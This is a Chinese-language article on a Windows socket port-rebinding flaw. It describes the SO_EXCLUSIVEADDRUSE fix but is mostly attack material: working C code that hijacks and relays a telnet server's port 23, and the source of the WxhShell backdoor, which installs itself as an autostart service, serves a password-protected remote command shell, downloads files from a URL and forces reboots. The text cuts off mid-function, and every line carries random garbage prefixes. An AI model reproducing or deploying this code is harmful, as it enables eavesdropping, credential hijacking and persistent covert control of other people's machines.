在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_tDSG] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'oSs5lW k/bY>FY2r saddr.sin_family = AF_INET;
s{x{/Bp(KK .vHSKd{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
TY}9;QL: 'k[d&sR bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+EG?8L,z [)UL}vAO\q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
VsEMF i= F;$z[z 这意味着什么?意味着可以进行如下的攻击:
7 -yf pv);LjF 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{"hX_t KY 085Fvs 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
AX=$r]_ {`~uBz+dJq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
W&>ONo6ki r5yp
jT^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"`<tq#&C1 OSACH0h 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nP`#z&C @vzv9c[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9XtR8MH I-oY@l` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
pIcvsd HUUN*yikj #include
p2T<nP<Pt #include
5n,?&+*L #include
USBU?WDt #include
t* eZe`| DWORD WINAPI ClientThread(LPVOID lpParam);
rC
)pCC int main()
2MS-e}mi {
}!-BZIOlO WORD wVersionRequested;
V*]cF=W[A DWORD ret;
9w\yWxl WSADATA wsaData;
2P)*Y5`KBH BOOL val;
x[XN;W& SOCKADDR_IN saddr;
,pfHNK-u SOCKADDR_IN scaddr;
6aC'\8{h int err;
0'&N?rS SOCKET s;
h\C" ti2 SOCKET sc;
%T9'dcM int caddsize;
fsd,q?{a: HANDLE mt;
J3/2>N]/} DWORD tid;
!F]7q]g wVersionRequested = MAKEWORD( 2, 2 );
o2p;$W4` err = WSAStartup( wVersionRequested, &wsaData );
qz]b8rX if ( err != 0 ) {
2^Y@e=^A printf("error!WSAStartup failed!\n");
AcC'hr.N+ return -1;
I!\;NVhv }
d@-s_gw saddr.sin_family = AF_INET;
g Mhn\ um.s:vj$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.CU~wB@h 7O)j]eeoL saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[fVtQ@-S! saddr.sin_port = htons(23);
E(t:F^z&D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MPSoRA: h {
vm,/?]P printf("error!socket failed!\n");
Py?EA*(d# return -1;
VL6_in( }
lJZ-*"9V val = TRUE;
7,vvL8\NHu //SO_REUSEADDR选项就是可以实现端口重绑定的
>v1E;-ZA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
B_Qi {
+-8u09-F printf("error!setsockopt failed!\n");
gN"Abc return -1;
`2}H$D }
/m#!<t7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
u~
%xU~v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
x.gRTR`7( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
M? 7CBqZ 8&d s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
r7dvj#^ {
+[W_Jz ret=GetLastError();
f+A!w8E printf("error!bind failed!\n");
c:;m BS>~ return -1;
vpTYfE }
4(2iR0N listen(s,2);
a-nf5w>&q while(1)
24)Sf {
2VSs#z! caddsize = sizeof(scaddr);
f9`F~6$ //接受连接请求
LojEJ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6:PQkr if(sc!=INVALID_SOCKET)
;4E(n {
ds>V|}f[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
p~X=<JM if(mt==NULL)
ChVur{jR {
>LqW;/&S< printf("Thread Creat Failed!\n");
:i{$p00
G break;
xw1@&QwM }
cSMiNR }
z
xe6M~+ CloseHandle(mt);
q ERdQ~M, }
QY$Z,#V) closesocket(s);
l;u_4`1H WSACleanup();
MqA%hlq return 0;
|ji={ }
?U}Ml]0~ DWORD WINAPI ClientThread(LPVOID lpParam)
bKAR}JM& {
6x6xv:\ SOCKET ss = (SOCKET)lpParam;
c UJUZ@ol SOCKET sc;
Z:TW{:lrI unsigned char buf[4096];
a?^xEye SOCKADDR_IN saddr;
CuS"Wj long num;
A4C4xts]N DWORD val;
FrPpRe %! DWORD ret;
l~cT]Ep //如果是隐藏端口应用的话,可以在此处加一些判断
%Fb4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
kaKV{;UM saddr.sin_family = AF_INET;
P:`tL)W_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:Fvd?[ saddr.sin_port = htons(23);
7&I+mw/X if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RU r0K#] {
y2XeD=_' printf("error!socket failed!\n");
CBj&8#8Z return -1;
6Vq]AQx }
BK+(Uf;g val = 100;
HizMjJ| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Muhq,>!U {
tA,#!Z0 ret = GetLastError();
OfSy _#aEK return -1;
S7/0B4[ }
E~k_4z%M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;t^8lC?>V {
oM ')NIW@ ret = GetLastError();
xKol return -1;
Ng;K-WB\ }
p-KMELB if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
AdCi*="m {
p_K``JE printf("error!socket connect failed!\n");
>_ )~"Ra closesocket(sc);
{e>E4( closesocket(ss);
IV#kF}9$ return -1;
KINKq`Sx }
GpW5)a while(1)
o*d+W7l {
vai.w-}Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
VaLx- RX //如果是嗅探内容的话,可以再此处进行内容分析和记录
8Gw0;Uu8D //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kO1.27D num = recv(ss,buf,4096,0);
4sj:%%UE if(num>0)
^CZ)!3qd1 send(sc,buf,num,0);
=f4v: j}'| else if(num==0)
q;XO1Se break;
z j[/~I num = recv(sc,buf,4096,0);
kX\\t.nH if(num>0)
jl!rCOLt4 send(ss,buf,num,0);
@D<KG else if(num==0)
e-}b]\ break;
"cK@Yo }
|C MKY closesocket(ss);
wZ^7#yX> closesocket(sc);
>9h@Dj[|! return 0 ;
8SG*7[T7 }
wUd6xR EQ;,b4k?&g >:2B r(S ==========================================================
z x7fRd$ ~Sr`Tlp 下边附上一个代码,,WXhSHELL
(|(#W+l~
`L-GI{EJ ==========================================================
P[l? 6$d3Ap@Gl #include "stdafx.h"
]A;{D~X^w ("UzMr, #include <stdio.h>
rQW&$M #include <string.h>
` 0YI?$G1 #include <windows.h>
FG?69b> #include <winsock2.h>
RV*7?y%3 #include <winsvc.h>
JZCRu_M>| #include <urlmon.h>
71nI`.Z W6b5elH@ #pragma comment (lib, "Ws2_32.lib")
{5ujKQOcR #pragma comment (lib, "urlmon.lib")
|"7^9( QasUgZ #define MAX_USER 100 // 最大客户端连接数
N*k` 'T #define BUF_SOCK 200 // sock buffer
z[7j`J|Kk #define KEY_BUFF 255 // 输入 buffer
Z#n!=kTTm }~Am{Er<l #define REBOOT 0 // 重启
8z?q4 #define SHUTDOWN 1 // 关机
8veYs` ?q&*|-%)_d #define DEF_PORT 5000 // 监听端口
E7XFt#P. v=(L>gg #define REG_LEN 16 // 注册表键长度
UuNcBzB2d #define SVC_LEN 80 // NT服务名长度
:HDl-8]Lw nm!5L[y!0 // 从dll定义API
t-xw=&!w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{x$h K98 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Dm,*G`Js typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
kfod[*3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2{<5?Op ?A[q/n:K // wxhshell配置信息
CB<i struct WSCFG {
YKjm_)8]w int ws_port; // 监听端口
8=]R6[,fD char ws_passstr[REG_LEN]; // 口令
:r<uH6x| int ws_autoins; // 安装标记, 1=yes 0=no
zi^T?<t char ws_regname[REG_LEN]; // 注册表键名
M_o<6C char ws_svcname[REG_LEN]; // 服务名
L_>j
SP char ws_svcdisp[SVC_LEN]; // 服务显示名
C
*\
=Q char ws_svcdesc[SVC_LEN]; // 服务描述信息
Ab]`*h\U char ws_passmsg[SVC_LEN]; // 密码输入提示信息
wKjL}1.k int ws_downexe; // 下载执行标记, 1=yes 0=no
{=(GY@yU/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
p8%/T>hK char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W!$aK )]4u tMWDKatb };
\6UK:'5{ ?m)3n0Uh // default Wxhshell configuration
R7/"ye:7J struct WSCFG wscfg={DEF_PORT,
f0 ;Fokt( "xuhuanlingzhe",
yQ33JQr 1,
a88(,:t "Wxhshell",
~w<u! "Wxhshell",
{Jv m * "WxhShell Service",
:R/szE*Ak "Wrsky Windows CmdShell Service",
"?I ]h "Please Input Your Password: ",
(GLd"Zq 1,
J/M_cO*U "
http://www.wrsky.com/wxhshell.exe",
y4aW8J# "Wxhshell.exe"
~^U(G As };
4g}eqW ;C1]gJZ, // 消息定义模块
QLq^[>n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
HG(J+ocn char *msg_ws_prompt="\n\r? for help\n\r#>";
vOb=> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&_q&TEi char *msg_ws_ext="\n\rExit.";
'USol< char *msg_ws_end="\n\rQuit.";
hOI|#(- char *msg_ws_boot="\n\rReboot...";
R$'0<y8E*] char *msg_ws_poff="\n\rShutdown...";
B(x$
Ln"y[ char *msg_ws_down="\n\rSave to ";
GqFDN],Wp ,tdV-9N[O char *msg_ws_err="\n\rErr!";
UjNe0jt%s char *msg_ws_ok="\n\rOK!";
wSTy2Oyo; b%w?YR char ExeFile[MAX_PATH];
[B}$U|V0 int nUser = 0;
1^G*)Qn5Df HANDLE handles[MAX_USER];
xWY%-CWY. int OsIsNt;
95.m^~5 CJ*8x7-t SERVICE_STATUS serviceStatus;
D^(Nijl9U SERVICE_STATUS_HANDLE hServiceStatusHandle;
}i32 ] m$;ra] // 函数声明
9v=fE2`- int Install(void);
3BBw:)V int Uninstall(void);
ar-N4+!@ int DownloadFile(char *sURL, SOCKET wsh);
%3L4&W_T int Boot(int flag);
%P!6cyQS void HideProc(void);
|hsg=LX int GetOsVer(void);
[.M<h^xrB int Wxhshell(SOCKET wsl);
?a~59!u void TalkWithClient(void *cs);
W^}fAcQKH int CmdShell(SOCKET sock);
aCu 8
D! int StartFromService(void);
\2q!2XWgK int StartWxhshell(LPSTR lpCmdLine);
^Ge3"^x1 -)biSU, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3$fzqFo VOID WINAPI NTServiceHandler( DWORD fdwControl );
6#sd"JvtQ Zt3"4d4 // 数据结构和表定义
;T!w$({V0z SERVICE_TABLE_ENTRY DispatchTable[] =
J{W<6AK\S {
f(Vr &X {wscfg.ws_svcname, NTServiceMain},
W\JbX<mQ {NULL, NULL}
]a4rA+NFLB };
89*txYmx RAw/Q$I // 自我安装
idWYpU>gC int Install(void)
ZT*RD2, {
+Y7"!wYR> char svExeFile[MAX_PATH];
#S?xRqkc HKEY key;
('H[[YODh strcpy(svExeFile,ExeFile);
~j%g?;#* (*{Y#XD{ // 如果是win9x系统,修改注册表设为自启动
{)E)&lL if(!OsIsNt) {
ao2NwH## if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~>h_#sIBC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,{"%-U#z RegCloseKey(key);
)bJS*# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
vbH?[Zr? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$a'n{EP RegCloseKey(key);
^gP pmb<x return 0;
,BGaJ|k }
A*;I}F }
ya[][!.G }
MHh>~Y(h else {
]njObU)[zr H7&>c M // 如果是NT以上系统,安装为系统服务
=o g5Mh, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
x|>N if (schSCManager!=0)
gIGyY7{(s8 {
~s#vP<QHa SC_HANDLE schService = CreateService
wR)U&da`@ (
tO0MYEx" schSCManager,
A 9I5 wscfg.ws_svcname,
@'go?E)f wscfg.ws_svcdisp,
99GzhX_ SERVICE_ALL_ACCESS,
gXrPZ|iS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
r_m*$r~f SERVICE_AUTO_START,
-0W s3 SERVICE_ERROR_NORMAL,
Mf7Z5 svExeFile,
={HYwP; NULL,
Lt\Wz'6Y NULL,
5u(,g1s}UZ NULL,
<1r#hFUUL NULL,
Nqf6CPXE NULL
0K+a/G@
n\ );
o>(I_3J[p if (schService!=0)
xvx5@lx {
"eqN d"~ CloseServiceHandle(schService);
dj>ZHdTn CloseServiceHandle(schSCManager);
,ALEfepo strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;5i~McH#
t strcat(svExeFile,wscfg.ws_svcname);
+4 8a..4sN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
HF(pC7/a: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Fjq~^_8 RegCloseKey(key);
SSoD}N return 0;
o75Hit }
0?x9.] }
:Z(w, CloseServiceHandle(schSCManager);
oqLM-=0<} }
dRl*rP/ }
Wt$" f 2P&KU%D)0s return 1;
33O O%rWi }
E=G"_
^hCE
Zo=w8Hr // 自我卸载
GJpQcse% int Uninstall(void)
\FE
{
$ mH'%YDIl HKEY key;
FLWQY, w6b\l1Z if(!OsIsNt) {
^p@R!228 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vvWje:H RegDeleteValue(key,wscfg.ws_regname);
x{GKz# RegCloseKey(key);
l"T{!Oq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Xs,[Z2_iq RegDeleteValue(key,wscfg.ws_regname);
{x&"b - RegCloseKey(key);
>gj%q$@ return 0;
AeQIsrAHE }
A>0wqT }
$w:7$:k }
&:]ej6V'[ else {
=Gl6~lJ{_ UKfC!YR2J8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
dV~d60jOF if (schSCManager!=0)
28u3B2\$ {
71g\fGG\
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>~+'V.CNW if (schService!=0)
Cob<N'. {
#b^x! lR if(DeleteService(schService)!=0) {
e!eUgD CloseServiceHandle(schService);
d]fo>[%Xr CloseServiceHandle(schSCManager);
")gd)_FOS return 0;
GjHV|)^ }
Qp]-:b CloseServiceHandle(schService);
-W6r.E$mC }
0 It[Pa qG CloseServiceHandle(schSCManager);
D%WgE&wtM }
4u!<3-3Zy }
In3},x+$ ;*~y4'{z return 1;
KG2ij~v }
GnCO{"n ])v,zp"u // 从指定url下载文件
Y6&B%t<bo int DownloadFile(char *sURL, SOCKET wsh)
zi7>!#( {
,JLY
oE+ HRESULT hr;
E#5$O2b# char seps[]= "/";
Q&JnF`* char *token;
U]8 @ char *file;
Ao2m"ym char myURL[MAX_PATH];
49e~/YY char myFILE[MAX_PATH];
_0razNk o%~PWA*Qp strcpy(myURL,sURL);
(toN??r token=strtok(myURL,seps);
@,=E[c
8 while(token!=NULL)
?;q {
Y{Yp N file=token;
vX9B^W||x token=strtok(NULL,seps);
#]g9O ?0$ }
&efwfnG< | e&v;48 GetCurrentDirectory(MAX_PATH,myFILE);
=Wgz\uGJ strcat(myFILE, "\\");
31FQ=(K strcat(myFILE, file);
.q!U@}k. send(wsh,myFILE,strlen(myFILE),0);
AV t(e6H send(wsh,"...",3,0);
WNE=|z#| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\[!k`6#t7 if(hr==S_OK)
qGH
s2Og return 0;
,(D:cRN else
S8 zc1! return 1;
);m7;}gE CyWaXp65 }
=m+'orJ1 iJ7?6)\ // 系统电源模块
+A=*C int Boot(int flag)
.b3cn {
v ?9 HANDLE hToken;
e>FK5rz TOKEN_PRIVILEGES tkp;
UNc[h&@_ Sz"rp9x+ if(OsIsNt) {
f0<'IgN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
x|TLMu=3= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
qh40nqS;9 tkp.PrivilegeCount = 1;
L_k'r\L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
qYwEPGa\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O<:"Irq\qr if(flag==REBOOT) {
[|:kS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
GD]yP.. return 0;
C}7c:4c }
!8z,}HUdK else {
V~9s+> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3ZAPcpB2 return 0;
^hMJNy&R }
X}-)io }
<8'-azpJ6< else {
m\XgvpvrP if(flag==REBOOT) {
['G@`e*\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
RV&